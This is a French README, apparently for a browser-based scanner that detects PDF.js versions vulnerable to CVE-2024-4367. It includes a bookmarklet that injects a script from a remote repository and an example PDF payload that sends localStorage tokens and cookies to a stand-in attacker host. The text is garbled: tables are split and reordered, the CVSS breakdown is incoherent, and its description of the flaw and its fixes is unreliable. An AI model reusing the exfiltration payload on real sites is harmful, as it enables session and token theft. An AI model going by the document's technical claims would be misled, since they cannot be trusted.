
SCAN END POC LE CVE-2024-4367
⚠️ OUTIL DE SÉCURITÉ CRITIQUE | Détecte CVE-2024-4367 (CVSS 9.8) - Vulnérabilité d'exécution de code à distance PDF.js
Fonctionne sur TOUT site web - Aucune configuration requise
CVE-2024-4367 est une vulnérabilité critique dans PDF.js (versions < 4.2.67) qui permet l'exécution arbitraire de JavaScript via des fichiers PDF malveillants. Ce scanner détecte automatiquement les instances PDF.js vulnérables sur TOUT site web.
PDF.js contient une faille où le JavaScript intégré dans les fichiers PDF est exécuté sans sandboxing adéquat, permettant aux attaquants de :
F12 pour ouvrir les outils de développementEntréeCréez un marque-page avec cette URL :
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Ouvrez n'importe quel site web et exécutez le script
<embed><object>?pdf=, ?file=, ?src=).pdf┌─────────────────────────────────────────────────────────────┐
│ FLUX DU PROCESSUS D'ANALYSE │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 📚 CHARGER LES SCRIPTS │
│ ├─ Scripts externes (tous les <script src="">) │
│ └─ Scripts en ligne (toutes les balises <script>) │
│ │
│ 2. 🔍 EXTRAIRE LA VERSION DE PDF.JS │
│ ├─ Correspondance de motifs dans le code │
│ ├─ Détection de package.json │
│ └─ Analyse des chemins node_modules │
│ │
│ 3. 🎯 IDENTIFIER LA VULNÉRABILITÉ │
│ ├─ version < 4.2.67 ? → VULNÉRABLE │
│ └─ version = 2.16.105 ? → VULNÉRABLE │
│ │
│ 4. 🖼️ LOCALISER LES VISIONNEUSES │
│ ├─ Analyse des éléments DOM │
│ └─ Détection d'attributs │
│ │
│ 5. ⚡ GÉNÉRER UNE POC │
│ ├─ Créer un PDF de test │
│ └─ Fournir un lien de téléchargement │
│ │
│ 6. 📊 AFFICHER LES RÉSULTATS │
│ ├─ Superposition visuelle │
│ ├─ Rapport dans la console │
│ └─ Stockage en variable globale │
│ │
└─────────────────────────────────────────────────────────────┘
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2024-4367 - SCANNER UNIVERSEL PDF.js ║
║ Détecte les versions vulnérables de PDF.js et l'exploitation ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
📚 PHASE 1 : Analyse des bundles JavaScript pour PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 42 scripts externes trouvés
[+] 12 scripts en ligne trouvés
[1/42] Analyse : vendor.bundle.js
→ Indicateur PDF.js trouvé : pdfjs-dist
✅ Version PDF.js trouvée : 2.16.105
🚨 VULNÉRABLE à CVE-2024-4367 !
🎯 PHASE 4 : Identification des vecteurs d'exploitation
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
⚠️ Le paramètre d'URL accepte le PDF : file=/documents/report.pdf
⚠️ Formulaire de téléchargement PDF trouvé
█████████████████████████████████████████████████████████████████████████████████
RAPPORT D'ANALYSE FINAL
█████████████████████████████████████████████████████████████████████████████████
🚨 VULNÉRABILITÉ CRITIQUE CONFIRMÉE !
CVE : CVE-2024-4367
CVSS : 9.8 (CRITIQUE)
Impact : Exécution arbitraire de JavaScript
┌─────────────────────────────────────────────────────────────┐
│ RÉSULTATS DE L'ANALYSE CVE-2024-4367 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 📍 Cible : example.com │
│ 📦 PDF.js : 2.16.105 │
│ 🎯 Vulnérable : OUI │
│ 📄 Visionneuses : 3 │
│ ⚡ Vecteurs : 2 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 🔴 CRITIQUE - Mise à niveau requise │
└─────────────────────────────────────────────────────────────┘
# Pour les projets Node.js
npm install pdfjs-dist@latest
# Pour une utilisation CDN
# Mettre à jour vers la version 4.2.67 ou supérieure
// Définir ceci avant de charger PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;
Content-Security-Policy: script-src 'self';
object-src 'none';
worker-src 'none'
// Valider les fichiers PDF avant le rendu
function validatePDF(file) {
// Vérifier les octets magiques
const header = file.slice(0, 5);
if (header !== '%PDF-') {
throw new Error('Fichier PDF invalide');
}
// Rechercher du JavaScript
const text = file.toString();
if (text.includes('/JavaScript') ||
text.includes('/JS') ||
text.includes('<< /S /JavaScript >>')) {
throw new Error('Le PDF contient du JavaScript');
}
}
Paramètres d'URL
/viewer?file=malicious.pdf
/download?pdf=malicious.pdf
Téléchargements de fichiers
<input type="file" accept=".pdf">
Visionneuses intégrées
<embed src="malicious.pdf">
Points d'API
/api/documents/123/download
/api/report/pdf
// PDF JavaScript intégré
this.alert('CVE-2024-4367 Exploité !');
fetch('https://attaquant.com/vol', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie
})
});
Installer le scanner
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
Exécuter le scanner
# Ouvrir le site web cible
# Coller le scanner dans la console
# Ou utiliser le marque-page
Analyser les résultats
Télécharger le PDF POC (si vulnérable)
Appliquer les correctifs
| Scénario | Résultat |
|---|---|
| PDF.js 2.16.105 | 🔴 CRITIQUE |
| PDF.js 3.x | 🔴 VULNÉRABLE |
| PDF.js 4.0.x | 🔴 VULNÉRABLE |
| PDF.js 4.2.67+ |
// Versions vulnérables
const VULNERABLE_VERSIONS = [
{ version: '2.16.105', status: 'CRITIQUE' },
{ version: '3.x.x', status: 'CRITIQUE' },
{ version: '4.0.x - 4.2.66', status: 'CRITIQUE' }
];
// Version sûre
const SAFE_VERSION = '4.2.67';
| Date | Événement |
|---|---|
| 2024-04-23 | Vulnérabilité découverte |
| 2024-04-24 | CVE-2024-4367 attribuée |
| 2024-04-25 |
IMPORTANT : Cet outil est destiné à des tests de sécurité autorisés et à des fins éducatives uniquement.
- ✅ FAITES-LE sur vos propres sites web
- ✅ FAITES-LE avec une autorisation explicite
- ✅ FAITES-LE pour la recherche en sécurité
- ❌ NE FAITES PAS cela sur des systèmes non autorisés
- ❌ NE FAITES PAS cela à des fins malveillantes
Les auteurs ne sont pas responsables de toute utilisation abusive ou des dommages causés par cet outil.
Les contributions sont les bienvenues ! Veuillez :
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Faites vos modifications
# Testez sur plusieurs sites web
# Soumettez la PR
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Si vous trouvez cet outil utile :
🛡️ Restez sécurisé. Testez tôt. Testez souvent.
Fait avec ❤️ par la communauté de la sécurité
Signaler un problème • Star sur GitHub • Lire la documentation
| Solution | Difficulté | Efficacité |
|---|
| Mise à niveau de PDF.js | Facile | ✅ Correction complète |
| Désactiver JS dans PDF.js | Facile | ✅ Correction complète |
| Mise en œuvre de CSP | Moyenne | ✅ Bonne |
| Validation côté serveur | Moyenne | ✅ Bonne |
| Rendu dans un bac à sable | Difficile | ✅ Excellente |
| ✅ SÛR |
| Pas de PDF.js | ℹ️ SÛR |
| Correctif publié (4.2.67) |
| 2024-04-26 | Divulgation publique |
| 2024-05-01 | Tentatives d'exploitation observées |
| Composant | Score |
|---|
| Vecteur d'attaque | Réseau (9.8) |
| Complexité d'attaque | Faible (9.8) |
| Privilèges requis | Aucun (9.8) |
| Interaction utilisateur | Requise (8.8) |
| Périmètre | Modifié (9.1) |
| Confidentialité | Élevée (9.8) |
| Intégrité | Élevée (9.8) |
| Disponibilité | Élevée (9.8) |
| Global | 9.8 (CRITIQUE) |